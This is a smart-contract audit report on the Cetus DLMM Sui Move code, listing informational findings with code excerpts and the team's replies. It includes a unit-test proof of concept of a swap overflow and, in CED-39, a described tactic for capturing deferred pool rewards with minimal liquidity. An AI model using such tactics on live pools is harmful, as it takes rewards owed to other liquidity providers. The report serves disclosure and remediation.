Inconsistency	Informational	packages/cetus_dlmm/sources/pool.move (init-57ba7dc): 370~371, 1886, 1911~1912	Resolved

Description

The `flash_swap_internal` function captures the pool's balances for the `SwapEvent` before swap:

```
fun flash_swap_internal<CoinTypeA, CoinTypeB>(
    ...
    let (vault_a, vault_b) = (pool.balance_a.value(), pool.balance_b.value());
    let (balance_a, balance_b) = if (a2b) {
        (balance::zero(), pool.balance_b.split(res.amount_out))
    } else {
        (pool.balance_a.split(res.amount_out), balance::zero())
    };
    ...
    event::emit(SwapEvent {
        ...
        vault_a,
        vault_b,
        ...
    });
```

However, the comments in lines 370 and 371 indicated `vault_a` and `vault_b` should be values after swap.

```
/// - `vault_a`: Token A vault balance after swap
/// - `vault_b`: Token B vault balance after swap
/// ...
public struct SwapEvent has copy, drop {
    ...
    vault_a: u64,
    vault_b: u64,
    ...
}
```

Recommendation

This mismatch between code behavior and documentation may cause confusion for users and integrators relying on the event data for an accurate post-swap state. Thus, clarification is needed to determine whether the event values or the documentation should be updated to accurately represent the intended design.

Alleviation

[Cetus, 08/27/2025]: The team heeded the advice and resolved the issue by updating comments in commit efdb6375f1e3192e30f2c3ac705929bfb1bfa8ee

CED-07 Confirmation On Operation Permission Of Ctx.Sender() In Pool And Registry

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/pool.move (init-57ba7dc): 2482~2506	Resolved

Description

In `pool.move` and `registry.move`, `check_user_operation()` is used to verify whether `ctx.sender()` has the corresponding permission to execute specific operations.

`pool.move`

```
2482 fun operation_check<CoinTypeA, CoinTypeB>(
2483     pool: &Pool<CoinTypeA, CoinTypeB>,
2484     kind: OperationKind,
2485     user: address,
2486     position: Option<ID>,
2487     config: &GlobalConfig,
2488 ) {
2489     config.check_user_operation(user, kind);
2490     if (position.is_some()) {
2491         config.check_position_operation(*position.borrow(), kind);
2492     };
2493     if (kind == restriction::add_kind()) {
2494         assert!(!pool.permissions.disable_add, EPoolIsBlocked);
2495     } else if (kind == restriction::remove_kind()) {
2496         assert!(!pool.permissions.disable_remove, EPoolIsBlocked);
2497     } else if (kind == restriction::swap_kind()) {
2498         assert!(!pool.permissions.disable_swap, EPoolIsBlocked);
2499     } else if (kind == restriction::collect_fee_kind()) {
2500         assert!(!pool.permissions.disable_collect_fee, EPoolIsBlocked);
2501     } else if (kind == restriction::collect_reward_kind()) {
2502         assert!(!pool.permissions.disable_collect_reward, EPoolIsBlocked);
2503     } else if (kind == restriction::add_reward_kind()) {
2504         assert!(!pool.permissions.disable_add_reward, EPoolIsBlocked);
2505     }
2506 }
```

`config.move`

```
943  public fun check_user_operation(config: &GlobalConfig, user: address, operation
: OperationKind) {
944      let entity = restriction::user(user);
945      assert!(!config.restriction.is_blocked(entity, operation), EUserIsBlocked);
946  }
```

The following functions perform this check:

- open_position()
- add_liquidity()
- remove_liquidity()
- update_position_fee_and_rewards()
- collect_position_fee()
- collect_position_reward()
- close_position()
- flash_swap()
- flash_swap_with_partner()
- initialize_reward()
- add_reward()
- create_pool()

However, in Sui, position ownership can be transferred due to the `store` ability added. Therefore, for the following functions involving positions, the `ctx.sender()` permission check is ineffective:

- add_liquidity()
- remove_liquidity()
- collect_position_fee()
- collect_position_reward()
- close_position()

In addition, `update_position_fee_and_rewards` allows anyone to update positions in any pool. Similarly, the `ctx.sender()` check is also ineffective in this case.

Recommendation

We would like to confirm with the team whether this is the intended design.

Alleviation

[Cetus, 08/28/2025]: Thank you for the observation.

We would like to clarify the intended design:

In our implementation, there are **two layers of restriction mechanisms**:

1. **Address-based restriction (`check_user_operation`)**

- This applies to the transaction sender (`ctx.sender()`).
- It allows us to disable operations for specific addresses globally.

1. **Position-based restriction (`check_position_operation`)**

- This applies directly to a given position, regardless of its ownership transfer.
- Even if the position is moved to a new owner (due to the `store` ability), restrictions attached to the position remain effective.

Therefore, if we need to disable a position for any reason, we will use **position-based restriction**, which ensures the position cannot be operated on no matter who currently holds it. This is the intended safeguard against ownership transfer making sender checks ineffective.

CED-10 | Reward Manager Is Public By Default

Category	Severity	Location	Status
Volatile Code	Informational	reward.move: 108	Acknowledged

Description

`RewardManager.is_public` defaults to true, so unless the pool is explicitly made private or add-reward is blocked by permissions/restrictions, any address can:

- Initialize new reward types that pass the pool's type gate (whitelist or pool tokens).
- Add reward schedules and deposit arbitrary tokens to the pool's vault for those types.

However, this could bring a potential race condition since the rewards is limited to 5.

```
assert!(manager.rewards.length() < max_reward_num(), ERewardSlotIsFull);
```

Recommendation

Recommend allowing role-based access for the initialization of rewards.

Alleviation

[Cetus, 08/27/2025]: In our design, the whitelist will typically include CETUS as an additional reward type. so users can at most initialize CoinA, CoinB, and CETUS.

To further mitigate the potential race condition, we have introduced the parameter non_manager_initialize_reward_cap in the pool configuration. This parameter ensures that if the number of initialized rewards has already reached the non_manager_initialize_reward_cap, normal users will no longer be able to initialize new rewards. This reserves initialization capacity for administrators, ensuring they always have the ability to add critical reward types even when the cap is nearly reached.

We retain the **whitelist mechanism** for future extensibility. While it currently only includes CETUS in most cases.

CED-11 `remove_liquidity()` Can Use `bin_id` Outside The `[lower_bin_id, upper_bin_id]` Range In Bins

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/pool.move (init-57ba7dc): 996~1006	Resolved

Description

In `remove_liquidity()`, the validity check for bin IDs in bins occurs within `pool.position_manager.decrease_liquidity()`, which ensures they do not exceed the `[lower_bin_id, upper_bin_id]` range.

`pool.move`

```
 1010          // Decrease liquidity on position
 1011  @>      pool.position_manager.decrease_liquidity(position, bin,
liquidity_share);
```

`position.move`

```
 425  public(package) fun decrease_liquidity(
 426      manager: &mut PositionManager,
 427      position: &mut Position,
 428      bin: &Bin,
 429      delta_liquidity_shares: u128,
 430  ) {
 431      let (lower, upper) = (position.lower_bin_id, position.upper_bin_id);
 432  @>  assert!(bin.id().gte(lower) && bin.id().lte(upper),
EBinIdOutOfPositionRange);
```

However, if `!pool.bin_manager.contains(bin_id)`, this check can be skipped with a `continue`, allowing a user to provide a bin ID outside the `[lower_bin_id, upper_bin_id]` range.

`pool.move`

```
 996 @>      if (!pool.bin_manager.contains(bin_id)) {
 997             assert!(liquidity_share == 0, EBinNotExistsButLiquidityNotZero);
 998             idx = idx + 1;
 999             liquidity_deltas.push_back(BinLiquidityDelta {
1000                 bin_id,
1001                 liquidity_share: 0,
1002                 amount_a: 0,
1003                 amount_b: 0,
1004             });
1005 @>          continue
1006         };
1007         let bin = pool.bin_manager.borrow_bin_mut(bin_id);
1008         let (amount_a, amount_b) = bin.decrease_liquidity(liquidity_share);
1009
1010         // Decrease liquidity on position
1011         pool.position_manager.decrease_liquidity(position, bin,
liquidity_share);
1012
1013         // If the bin is empty, remove it from the pool
1014         if (bin.liquidity_supply() == 0) {
1015             pool.bin_manager.remove_bin(bin_id);
1016         };
```

As a result, the final events could contain a list of non-existent `BinLiquidityDelta` items.

Recommendation

We recommend still validating that the bin ID is within the correct range in such cases.

Alleviation

[Cetus, 09/03/2025]: The team heeded the advice and resolved the issue by adding validation on bin ids in commit f442ca0db0bd8c0e502029831fe3a1a2e960d038

CED-14 Manager Initialized Rewards Would Consume `non_manager_initialize_reward_cap`

Category	Severity	Location	Status
Volatile Code	Informational	packages/cetus_dlmm/sources/pool.move (update-1-57ba7dc): 1804~1807	Resolved

Description

The variable `non_manager_initialize_reward_cap` suggests a cap on rewards initialized by non-managers. In practice, the check compares the total reward count in the pool (`reward_num()`) against this cap only when the caller is a non-manager.

This means manager-initialized rewards also consume this cap, potentially blocking non-managers earlier than intended, and non-managers aren't capped by how many they themselves initialized.

Recommendation

We would like to check with the team if this is intended.

Alleviation

[Cetus, 09/17/2025]: The original field name was indeed misleading. We have since renamed the variable to `manager_reserved_reward_init_slots` to better reflect the intended logic:

A certain number of reward initialization slots are reserved exclusively for managers. Regardless of who initialized the previous rewards, only managers are allowed to use these reserved slots.

[CertiK, 09/18/2025]: After the update, when users initialize rewards, there will always be `manager_reserved_reward_init_slots` slots left. However, if the manager has already initialized some rewards before other users, there would still be `manager_reserved_reward_init_slots` slots left for the manager.

Consider the following scenario as an example:

1. `manager_reserved_reward_init_slots` is 1 and `max_reward_num` is 5.
2. The manager initialized a reward.
3. Other users initialized 3 rewards.
4. Non-manager users cannot initialize the 4th reward because of the check `constants::max_reward_num() as u64 - pool.reward_manager.reward_num() > config.manager_reserved_reward_init_slots()` as u64.
5. As a result, the manager can initialize 2 slots while others can only initialize 3 slots. We would like to confirm if this is an intended design.

[Cetus, 09/18/2025]: Yes, this is the intended design. The manager has a high priority.

CED-17 | Duplicate Reward Rate Increment In `add_reward`

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/reward.move (init-57ba7dc): 237~244, 254~260	Resolved

Description

In `reward.move`'s `add_reward()`, if `start_time` satisfies `(start_time - reward_period_start_at()) % reward_period() == 0`, the function increments `reward.period_emission_rates[start_time]`.

`reward.move`

```
 237  @>  if ((start_time - reward_period_start_at()) % reward_period() == 0) {
 238          if (reward.period_emission_rates.contains(start_time)) {
 239              let emission_net = reward.period_emission_rates.borrow_mut(
start_time);
 240  @>          *emission_net = i128::from(emission_rate).add(*emission_net);
 241          } else {
 242  @>          reward.period_emission_rates.insert(start_time, i128::from(
emission_rate));
 243          };
 244      };
```

However, if `start_time` is also equal to `cur_timestamp`, it additionally increments `reward.current_emission_rate`.

`reward.move`

```
 254  @>  if (start_time == cur_timestamp) {
 255          assert!(
 256              std::u128::max_value!() - reward.current_emission_rate >=
 emission_rate,
 257              ERewardRateOverflow,
 258          );
 259  @>      reward.current_emission_rate = reward.current_emission_rate +
 emission_rate;
 260      };
```

Thus, a single `add_reward` call increases two types of emission rates, which violates the intended design.

In this scenario, because `pool.move`'s `add_reward()` first calls `reward.settle_rewards()`, which has processed `cur_timestamp` `period_emission_rates` deletions and updates `manager.last_updated_time` to `cur_timestamp`, and only then calls `reward.add_reward()`, subsequent transactions that call `reward.settle_rewards()` will only process and delete `period_emission_rates` for timestamps `cur_timestamp + 1` and later and remain `reward.period_emission_rates[start_time]` in the skip list forever.

`reward.move`

```
320 @>          if (next_settle_at < current_time) {
321 @>              reward.period_emission_rates.remove(next_settle_at);
322             };
323         };
324         reward.reward_released = reward.reward_released + (accumulate_reward as
u256);
325         accumulated_rewards.push_back(accumulate_reward);
326         idx = idx + 1;
327     };
328 @>  manager.last_updated_time = current_time;
```

`pool.move`

```
1799 public fun add_reward<CoinTypeA, CoinTypeB, CoinTypeC>(
1800     pool: &mut Pool<CoinTypeA, CoinTypeB>,
1801     reward_coin: Coin<CoinTypeC>,
1802     amount: u64,
1803     start_time: vector<u64>,
1804     end_time: u64,
1805     config: &GlobalConfig,
1806     versioned: &Versioned,
1807     clk: &Clock,
1808     ctx: &mut TxContext,
1809 ) {
1810     versioned.check_version();
1811     pool.operation_check(restriction::add_reward_kind(), ctx.sender(), none()
, config);
1812     if (!pool.reward_manager.is_public()) {
1813         config.check_reward_manager_role(ctx.sender())
1814     };
1815
1816     // Settle reward first
1817 @>  pool.reward_settle(clk);
1818
1819     // Add reward
1820 @>  pool
1821         .reward_manager
1822         .add_reward<CoinTypeC>(
1823             start_time,
1824             end_time,
1825             reward_coin.into_balance(),
1826             clk,
1827         );
```

Recommendation

We recommend that if `start_time` both equals `cur_timestamp` and satisfies `(start_time - reward_period_start_at()) % reward_period() == 0`, then only increment `reward.current_emission_rate`.

Alleviation

[Cetus, 09/03/2025]: The team heeded the advice and resolved the issue by avoiding `start_time == cur_timestamp` in commit f442ca0db0bd8c0e502029831fe3a1a2e960d038

CED-18 | Unremovable `period_emission_rates` Records

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/reward.move (init-57ba7dc): 320 ~322	Resolved

Description

`settle_rewards()` processes all rewards in the interval `(manager.last_updated_time, current_time]` and, after processing, deletes all `period_emission_rates` records that fall within that interval. However, if there is a `period_emission_rates` entry at `current_time`, that entry will not be removed:

`reward.move`

```
320             if (next_settle_at < current_time) {
321                 reward.period_emission_rates.remove(next_settle_at);
322             };
```

This can cause `period_emission_rates` to contain records that can never be removed.

Recommendation

We recommend changing the comparison from `<` to `<=`.

Alleviation

[Cetus, 09/11/2025]: The team heeded the advice and resolved the issue in commit 80530ae53d162e4da26aeb665de305e17fb7768e

CED-20 | Functions Without `check_version`

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/pool.move (update-1-57ba7dc): 1600~1606	Resolved

Description

In pool.move, the function `mint_protocol_fee_collect_cap` modifies the state of objects in the contract or creates new objects and transfers them to other accounts. At the same time, they are not restricted to being called only by other functions within this package.

Recommendation

We recommend reviewing these functions:

- If they are intended to be callable only by other functions within the same package, change them to `public(package) fun`.
- Otherwise, add a `check_version` check.

Alleviation

[Cetus, 09/11/2025]: The team heeded the advice and resolved the issue in commit 80530ae53d162e4da26aeb665de305e17fb7768e.

CED-26 | Inconsistency Between Implementation And Comment

Category	Severity	Location	Status
Inconsistency	Informational	packages/cetus_dlmm/sources/dlmm_math.move (update-2-f442ca0): 304	Resolved

Description

In the `calculate_composition_fee` function, the fee rate is bounded by `max_fee_rate()`, which is 10%, and the composition fee rate is thus bounded by 11%.

```
304 public fun calculate_composition_fee(amount: u64, fee_rate: u64): u64 {
305     assert!(fee_rate <= max_fee_rate(), EInvalidFeeRate);
306     if (amount == 0 || fee_rate == 0) {
307         return 0
308     };
309     let fee_amount = full_math_u128::mul_div_floor(
310         full_math_u64::full_mul(amount, fee_rate),
311         (fee_precision() + fee_rate) as u128,
312         fee_precision_square(),
313     );
314     assert!(fee_amount < amount as u128, EInvalidFeeAmount);
315     fee_amount as u64
316 }
```

However, the comments indicate the maximum fee rate is 50%:

```
277 /// linear and quadratic components. The maximum fee rate is 50%.
```

```
302 /// - `EInvalidFeeRate`: If fee rate exceeds maximum allowed (50%)
```

In addition, since `calculate_composition_fee` includes quadratic components in its calculation, if the fee cap is set at 50%, the `max_fee_rate()` should be 37% (resulting in a final cap of 50.69%).

Recommendation

The audit team would like to confirm with the Cetus team which one is intended and whether the quadratic components are considered when determining the fee cap and provide the corresponding `max_fee_rate()` limit.

Alleviation

[Cetus, 09/16/2025]: The team has confirmed the implementation is intended and updated the comment to reflect the implementation in commit 3ad93678421b8bad01e7eca2cb4eda4b02c83503.

CED-32 | Missing Per-Bin Bounds Check In `add_liquidity`

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/pool.move (update-7-abf32f0): 1393~1399	Resolved

Description

In pool.move, `add_liquidity` checks only that the first and last bin are within [lower, upper], but doesn't validate every bin individually:

```
1393      let min_bin_id = i32::from_u32(bins[0]);
1394      let max_bin_id = i32::from_u32(bins[bins.length() - 1]);
1395
1396      assert!(
1397          min_bin_id.gte(position.lower_bin_id()) && max_bin_id.lte(position.
upper_bin_id()),
1398          EInvalidBinRange,
1399      );
```

If the input bins are unsorted or contain an out-of-range middle element, it may reach `position_info.increase_liquidity` and abort with a vector index error rather than the intended `EBinIdOutOfPositionRange`.

As a comparison, the `remove_liquidity` function checks all bin IDs.

```
1671      while (idx < bins.length()) {
1672          let bin_id = i32::from_u32(bins[idx]);
1673          assert!(
1674              bin_id.gte(position.lower_bin_id()) && bin_id.lte(position.
upper_bin_id()),
1675              EBinIdOutOfPositionRange,
1676          );
```

Recommendation

Recommend adding a per-bin bounds check before calling `add_liquidity_on_bin`.

Alleviation

[Cetus, 09/21/2025]: The team heeded the advice and resolved the issue in commit 6f5a9033f20cc12450f632d3893109496ec303fc.

CED-33 | Discussions On Bin Step Setups

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/config.move (update-7-abf32f0): 1321	Resolved

Description

When a pool is created, its bin step is verified to be in the list of `config.bin_steps` in the function `get_bin_step_config`:

```
1321      assert!(config.bin_steps.contains(key), EBinConfigNotExists);
```

`config.bin_steps` is configured by the config manager and is required to be not greater than `constants::basis_point()` (10,000) in the `valid_bin_step_config` function:

```
1501      assert!(cfg.bin_step > 0 && cfg.bin_step as u64 <= constants::basis_point
(), EInvalidBinStep);
```

However, it would be risky to have a big bin step value.

For example, with a bin step of 10,000, a bin ID like 100 will trigger an overflow protection when calculating the price and thus revert relevant transactions.

Recommendation

As the validation of bin steps is managed by the config manager, the auditing team would like to confirm with the Cetus team that the potential consequences of large bin steps are understood and that such configurations will be appropriately avoided in practice.

Alleviation

[Cetus, 09/24/2025]: The team added a `max_bin_step` check in commit 07a1093b07e8203bcd7f0fbbed18b8d1b11845f3.

CED-34 | Discussions On Potential DoS After Pool Creation

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/registry.move (update-7-abf32f0): 271~273	Resolved

Description

In registry.move, the function `create_pool_internal` validates `active_id` against [`min_bin_id()`, `max_bin_id()`] and then checks price by calling `price_math::get_price_from_id`:

```
271     assert!(active_id.gte(min_bin_id()) && active_id.lte(max_bin_id()),
EInvalidActiveId);
272     // safety check, making sure that the price can be calculated
273     price_math::get_price_from_id(active_id, bin_step);
```

However, these checks are insufficient:

1. Even though `active_id` is restricted to [`min_bin_id()`, `max_bin_id()`], a large `bin_step` can still produce extreme prices.
2. While `get_price_from_id` confirms that the pow function can compute a value, it does not guarantee that the resulting price will be safe for subsequent arithmetic operations.

For example, in `calculate_amount_in`, an overflow may occur:

```
87          full_math_u128::mul_div_ceil(amount_out as u128, price, 1u128 <<
scale_offset())
88      };
89      assert!(r < std::u64::max_value!() as u128, EAmountInOverflow);
```

Recommendation

The auditing team would like to check with the Cetus team for the following 2 concerns:

1. Is it intentional that `active_id` is bounded without considering `bin_step`?
2. Has the team assessed the risk of DoS from pools initialized with extreme prices, and is this risk considered acceptable?

Alleviation

[Cetus, 09/24/2025]: First of all, DLMM is essentially a permissionless liquidity protocol, which allows the pool creator to determine the initial active id (thereby initial active price) of a pool.

For the issue mentioned in this feedback, it is actually avoided from the initial pool creation step. The get_price_from_id function already considers bin_step. For example, given that the maximum bin step restricted in our contract is 1000, for a pool with a 1000 bin_step setting, the maximum activeID allowed in get_price_from_id is only 458, which is far from the max_bin_id(). An initial activeID greater than 458 will make the pool creation request revert in that case. Therefore, there won't be overflow occurring in calculate_amount_in or other subsequent scenarios.

[CertiK, 09/24/2025]: We understand that the `get_price_from_id` function ensures the price can be calculated. However, when a user performs a swap, calculations using the price might overflow.

Here is an example of overflow in the swap:

```move
#[test_only]
module cetusdlmm::extreme_price_swap_overflow_poc;

use cetusdlmm::bin::new_bin_for_test;
use cetusdlmm::config;
use cetusdlmm::pool;
use integer_mate::i32;
use sui::clock;

public struct A has drop {}
public struct B has drop {}

/// PoC: With bin_step = 1000 and active_id = 458, pool creation succeeds
/// and an exact-in A->B swap at the extreme price overflows amount_out.
#[test]
#[expected_failure(abort_code = cetusdlmm::dlmm_math::EAmountOutOverflow)]
fun test_swap_overflow_with_bin_step_1000_active_id_458() {
    let mut sc = sui::test_scenario::begin(@0xCA);
    let ctx = sc.ctx();

    let mut clk = clock::create_for_testing(ctx);
    clk.set_for_testing(1_757_304_000_000);

    // Create pool with bin_step=1000, base_factor=10000, active_id=458
    let bin_cfg = config::new_bin_config_from_for_test(
        1000,   // bin_step
        10000,  // base_factor
        10,
        120,
        5000,
        2_000_000,
        100_000,
        250_000_000,
    );
    let mut p = pool::new_pool_for_test<A, B>(i32::from(458), bin_cfg, &clk,
ctx);

    // Seed active bin with 1 unit of B so the bin is used and traversable.
    let seeded = new_bin_for_test(i32::from(458), 1000, 0, 1);
    let active_id = p.active_id();
    p.mut_bin_manager<A, B>().increase_on_bin(&seeded, active_id);


// Perform a tiny exact-in A->B swap which overflows amount_out at this price.
    let _ = p.swap_in_pool_for_test<A, B>(
        4,      // amount_in
        true,   // a2b
        true,   // by_amount_in
        0,      // ref_fee_rate
        &clk,
    );

```

```
// unreachable due to expected failure, but keep resource cleanup for type checker
    sui::transfer::public_share_object(p);
    cetusdlmm::bin::destroy_bin(seeded);
    clk.destroy_for_testing();
    sc.end();
}
```

[Cetus, 09/25/2025]: The potential overflow described is not unique to high-price bins. In fact, in any bin, if the swap input (`amount_in`) is sufficiently large, the `calculate_amount_in/out` function can exceed the representable range. At a very high-price bin (e.g., bin 458), even 1 unit of token A may already yield close to `u64::MAX` of token B, and adding more will trigger an overflow.

This does not introduce a security risk. Overflow in these calculations is explicitly guarded in the code with `assert!(r < u64::MAX, EAmountInOverflow)`. If the value exceeds the limit, the transaction is reverted. No incorrect state changes or miscalculations occur on-chain — only inputs within safe bounds are successfully executed.

This also does not cause denial-of-service. Even if an attacker initializes a pool at an extreme price, swaps routed to bins with reasonable liquidity will execute as normal. Only swaps that deliberately attempt to consume beyond the safe arithmetic bounds will fail, and these revert locally for that transaction without impacting the pool's global availability.

In summary, while the overflow condition is mathematically expected at extreme inputs, it is properly handled by runtime checks. This ensures the protocol remains safe and usable, and no systemic risk or DoS vector arises from the described scenario.

CED-36 | Discussions Overflows In Reward Emission Process

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/reward.move (update-7-abf32f0): 206	Resolved

Description

In reward.move, overflow is mitigated in practice by the following constraints or assumptions:

- Non-manager users can only add whitelisted coins as rewards with a minimum reward period of 7 days.
- It is assumed that the reward manager will not add arbitrage tokens or set excessively large rewards over short periods to disrupt protocol operations.

Despite these safeguards or assumptions, overflow remains theoretically possible.

For example, if malicious or careless actors repeatedly add rewards with very high emission rates, the `current_emission_rate` in `settle_rewards` could exceed `i128::max_value()!`, resulting in blocked transactions and denial of service.

Recommendation

The auditing team would like to confirm with the Cetus team that the described risks are understood and that the reward emission process will be appropriately managed in practice.

Alleviation

[Cetus, 09/25/2025]: We acknowledge the auditor's concern regarding potential overflow in `current_emission_rate`.

In our implementation, the emission rate is computed as:

```
emission_rate = (amount << 64) / duration
```

For an overflow to occur, the reward amount would need to exceed the maximum u64 value when combined with a minimal duration (e.g., 1 second). In practice, it is not possible to add rewards exceeding u64, as all reward amounts are strictly bounded by u64. Therefore, even with the smallest allowed duration, the emission rate cannot reach or exceed `i128::max_value()`.

Based on this constraint, we consider overflow in `current_emission_rate` to be practically impossible.

[CetiK, 09/25/2025]: We agree that an overflow is unlikely in the scenario you described. However, there remains a low-probability risk of overflow when considering that rewards can be added multiple times and the emission rate may accumulate.

Since the likelihood is low, we noted in the finding that it is theoretically possible. Our intention is simply to confirm that the team is aware of this possibility and will take it into account when managing rewards in the project's operations.

[Cetus, 09/25/2025]: In practice, the emission rate cannot exceed u128, because the maximum total supply of a token on Sui is u64 max. At the theoretical maximum, it could release u64 tokens per second, which is already the upper bound. There won't be enough supply for any token on Sui to make it possible for overlapping emission at the same time to incur overflow. Besides, a theoretical overflow here is essentially a protection, which ensures an illegal txn to be reverted.

CED-37 | Inconsistent Bin Fetching Results When `limit == 0`

Category	Severity	Location	Status
Coding Issue	Informational	packages/cetus_dlmm/sources/bin.move (update-7-abf32f0): 1089~1091	Resolved

Description

In bin.move, the `fetch_bins` function fetches at most `limit` bins starting from `start`. When `limit` is zero:

- if the first offset is empty, it returns empty immediately;
- if it's occupied, it never matches 0 and iterates all bins.

```
 1084          while (offset_in_group < constants::max_bin_per_group()) {
 1085              if (group.contain_in_group(offset_in_group)) {
 1086                  bins.push_back(group.borrow_bin_from_group(offset_in_group).
bin_info());
 1087                  count = count + 1;
 1088              };
 1089              if (count == limit) {
 1090                  return bins
 1091              };
```

As a result, the function may return inconsistent results.

Recommendation

Recommend returning an empty vector without scanning any groups when `limit == 0`.

Alleviation

[Cetus, 09/25/2025]: The team heeded the advice and resolved the issue in commit https://github.com/CetusProtocol/cetus-dlmm/pull/7/commits/dd8bb0652e38be4b75e2336d6e151368156c8037.

CED-38 Concerns About The Usage Of `with_original_ids` For Token Type

Category	Severity	Location	Status
Design Issue	Informational		Resolved

Description

The updated DLMM codebase frequently uses `with_original_ids` to retrieve token types and convert them into string representations. However, this approach may produce inaccurate results under the new currency standard.

Unlike the standard coin module, where `create_currency` includes a **one-time-witness (OTW)** constraint limiting currency creation to the `init` module (and preventing the same module from creating additional currencies after the initial deployment), the new currency standard introduces more flexibility. Specifically, it provides a new method, `coin_registry::new_currency`, that allows users to create coins without requiring an OTW. As a result, the `Coin<Coin>` type does not need to be defined in the very first contract version.

This leads to a potential issue: `type_name::with_defining_ids<T>()` may no longer match `type_name::with_original_ids<T>()`, as a result, a potential inconsistent issue may be raised as the given type may not exist with with_original_ids.

For example:

1. The contract is initially deployed as **version 1**.
2. A new token type `TOKENEW` is defined, and the contract is upgraded to **version 2**.
3. The token is then created using `coin_registry::new_currency`, making the current **version 3**.

When attempting to send a token using the type argument `version1::TOKENEW`, the following error occurs:

```
TypeArgumentError { argument_idx: 0, kind: TypeNotFound } in command 0
```

However, using type arguments `version2::TOKENEW` or `version3::TOKENEW` works correctly.

References:

- Move Book: Type Reflection
- Sui Documentation: Currency Creation Options

Recommendation

We would like to check with the team if the scenario has been considered; otherwise, it is better to use defining id instead.

Alleviation

[Cetus, 10/15/2025]: Thanks for your update. Here we update all with_original_ids into with_defined_ids in commit d1037ffc7ff7ffd314411d1a723aab0e2551d290.

[CertiK, 10/15/2025]: We would also recommend that the team keep an eye on the existing pools and avoid inconsistency due to the change in the method.

CED-39 | Empty-Bin Rollover Misallocates Rewards

Category	Severity	Location	Status
Volatile Code	Informational	packages/cetus_dlmm/sources/pool.move (update-11-324397b): 3744~3745	Acknowledged

Description

In `reward_settle()` function, when the active bin is empty, rewards for the elapsed interval are re-scheduled (rolled) into the remaining time of the current period by boosting the `current_emission_rate` (`rollover_refunds_into_remaining_time()`) and the function returns early.

Later, as soon as the active bin has any liquidity, the next `reward_settle` credits all emission accrued since the last update to that single active bin (`bin.accumulate_rewards`).

Because `reward_settle` is executed at the start of many public flows (`open_position`, `add_liquidity`, `remove_liquidity`, etc.), any user can strategically trigger it while the active bin is empty to defer rewards into the near future, then add tiny liquidity and trigger it again to capture the deferred rewards nearly entirely with minimal time-in-liquidity.

Recommendation

We would like to verify with the team whether this behavior is intentional as an incentive mechanism for new liquidity providers.

Alleviation

[Cetus, 12/22/2025]: The team acknowledged the issue and confirm the behavior is intentional.

When the active bin is empty, rewards are rolled forward to avoid emitting to zero liquidity. Allowing newly added liquidity to capture these rolled rewards is a **deliberate incentive** to encourage users to quickly refill the active bin and restore liquidity. This trade-off is acceptable and aligned with the protocol's incentive design.

CED-40 Paused Interval Can Be Bypassed If No Settlement Occurs Before Unpause

Category	Severity	Location	Status
Volatile Code	Informational	packages/cetus_dlmm/sources/pool.move (update-11-324397b): 931~944	Resolved

Description

Emergency reward pause only takes effect when a reward settlement runs while the pause flag is true. The unpause function `emergency_unpause_reward` flips the pause flag off without settling rewards for the elapsed paused window (and it lacks a `Clock` parameter to do so).

If no function that calls `reward_settle` is invoked between pause and unpause, the subsequent first settlement after unpause will distribute all accumulated rewards for the entire interval since the last settlement, including the period that was intended to be paused, effectively nullifying the pause. Practically, this makes the pause unreliable unless an external call triggers settlement during the paused state. This undermines the intended semantics where paused-time emissions should be refunded rather than later distributed.

Recommendation

We would like to check with the team if the scenario has been considered.

Alleviation

[Cetus, 12/22/2025]: The team heeded the advice and resolved the issue by adding reward settling when pause/unpause rewards in commit 2fba63d1dddbdd89cb9b59241af7d2f077544f6f.

CED-41 | Concerns About Fee Calculation May Round Down

Category	Severity	Location	Status
Volatile Code	Informational	packages/cetus_dlmm/sources/dlmm_math.move (update-11-32 4397b): 309~313	Resolved

Description

The given `fee_amount` calculation is using `mul_div_round` (nearest) instead of rounding up, which may allow a lower fee when rounding down happens.

Recommendation

We would like to check with the team if the scenario has been considered; otherwise, it is recommended to use rounding up to avoid fee loss.

Alleviation

[Cetus, 12/22/2025]: The team heeded the advice and resolved the issue by rounding up in `calculate_composition_fee` in commit 2fba63d1dddbdd89cb9b59241af7d2f077544f6f.

CED-43 The Updated `add_group_if_absent` Needs To Be Synchronized With Other Components

Category	Severity	Location	Status
Inconsistency	Informational	packages/cetus_dlmm/sources/bin.move (update-11-324397b): 585~596	Acknowledged

Description

Currently, the price algorithm of `add_group_if_absent` has been updated. Previously, it used `get_price_from_id` for each bin; now it uses a loop with a bin step to calculate the remaining bins, starting from the second bin.

There will be small price differences between these two implementations. It is necessary to ensure that this price calculation method is also updated in other places where prices are calculated, such as the corresponding price calculation logic in `dlmm_router`, as well as the price calculation of the current `active_id`.

Recommendation

We recommend the team revisit the price logic to avoid inconsistent price generation.

Alleviation

[Cetus, 12/22/2025]: In the DLMM **core contracts**, all bin initializations at the pool level already use the **second price construction method** (iterative multiplication based on the previous bin price). This guarantees that all bins stored in the pool are generated with a consistent and deterministic price progression.

In the **dlmm_router** contract, `get_price_from_id` used in loop is only in one place:

`liquidity_strategy::calculate_distribution_params`. Within this function, the price calculation appears **only inside the branch where ** `bin_id > active_id`, and it is used solely for **strategy distribution estimation**, not for pool state initialization, accounting, or settlement.

This method does **not affect on-chain pool prices, bin states, or user balances**, and the minor price discrepancy introduced by this difference is acceptable within the context of off-chain-style strategy computation and allocation heuristics.

Therefore, while we acknowledge the theoretical difference between the two price generation methods, the current usage does not introduce inconsistency in the core protocol logic, and the impact is limited and acceptable.

CED-49 | Single-Word Growth Counters Lose Accrual Across Full Cycles

Category	Severity	Location	Status
Volatile Code	Informational	packages/cetus_dlmm/sources/bin.move (081326-f317a94): 125~126, 1033~1034, 1083~1084, 1600~1601	Acknowledged

Description

